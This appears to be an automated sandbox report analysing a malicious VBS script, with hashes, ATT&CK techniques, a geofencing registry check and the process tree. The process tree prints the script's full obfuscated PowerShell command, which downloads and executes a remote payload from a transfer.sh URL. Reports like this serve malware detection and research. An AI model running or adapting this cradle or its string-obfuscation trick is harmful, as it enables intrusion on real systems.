8065cd13f47664398c8c02165ca41f9c7f8f823e018f2773e947d63c8ba4bc2b

Analysis

max time kernel
94s
max time network
95s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
11/03/2024, 04:03

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General

Target

bfcc207a11b00be050cd343c29610cdf.vbs
Size

731B
MD5

bfcc207a11b00be050cd343c29610cdf
SHA1

0842a47f067121ff811ee7dd00bc167906738909
SHA256

8065cd13f47664398c8c02165ca41f9c7f8f823e018f2773e947d63c8ba4bc2b
SHA512

03b25ea72b73c10b3c140e25585d753a32baaf3325b96158612aab0fd7260e6df878d77f2553ba4b73be930a1c2badad0bc31a76ff9453ea346e223035a78a41

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://transfer.sh/1fWuoMe/bypass.txt

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	4196	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4196	powershell.exe
4196	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4196	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1616 wrote to memory of 4196	1616	WScript.exe	85
PID 1616 wrote to memory of 4196	1616	WScript.exe	85

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bfcc207a11b00be050cd343c29610cdf.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP = 'https://transfer.sh/1fWuoMe/bypass.txt';$B = 'ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');&('I'+'EX')($A -Join '')|&('I'+'EX');
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4196

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jiobq51f.nym.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4196-0-0x00000212F9390000-0x00000212F93B2000-memory.dmp

Filesize
136KB

Download
memory/4196-10-0x00007FF813AE0000-0x00007FF8145A1000-memory.dmp

Filesize
10.8MB

Download
memory/4196-11-0x00000212F8AD0000-0x00000212F8AE0000-memory.dmp

Filesize
64KB

Download
memory/4196-12-0x00000212F8AD0000-0x00000212F8AE0000-memory.dmp

Filesize
64KB

Download
memory/4196-13-0x00007FF813AE0000-0x00007FF8145A1000-memory.dmp

Filesize
10.8MB

Download
memory/4196-14-0x00000212F8AD0000-0x00000212F8AE0000-memory.dmp

Filesize
64KB

Download
memory/4196-15-0x00000212F8AD0000-0x00000212F8AE0000-memory.dmp

Filesize
64KB

Download
memory/4196-19-0x00007FF813AE0000-0x00007FF8145A1000-memory.dmp

Filesize
10.8MB

Download
memory/4196-18-0x00000212F8AD0000-0x00000212F8AE0000-memory.dmp

Filesize
64KB

Download
memory/4196-20-0x00000212F8AD0000-0x00000212F8AE0000-memory.dmp

Filesize
64KB

Download